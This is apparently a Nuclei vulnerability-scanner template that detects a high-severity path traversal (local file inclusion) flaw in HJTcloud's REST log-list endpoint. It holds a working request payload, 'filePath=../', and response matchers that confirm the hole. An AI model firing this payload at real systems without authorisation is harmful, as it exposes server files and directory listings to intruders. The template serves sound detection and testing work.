漏洞描述
HJTcloud is vulnerable to local file inclusion.
id: hjtcloud-rest-arbitrary-file-read
info:
name: HJTcloud - Local File Inclusion
author: pikpikcu
severity: high
description: HJTcloud is vulnerable to local file inclusion.
reference:
- https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 1
tags: hjtcloud,lfi,vuln
http:
- method: GET
path:
- "{{BaseURL}}/him/api/rest/V1.0/system/log/list?filePath=../"
matchers-condition: and
matchers:
- type: word
words:
- '"name":'
- '"length":'
- '"filePath":'
- '"list":'
condition: and
part: body
- type: word
words:
- "application/json"
part: header
- type: status
status:
- 200
# digest: 4b0a00483046022100e38adb735a4854889109b51f99fb8c5ff3bfd09b38df8ed08221554a12a28e16022100817b51c35e3c5fb7a9a07bb1a74f5dcfecd1c0bf0e99088e5e8c8f450148228c:922c64590222798bb761d5b6d8e72950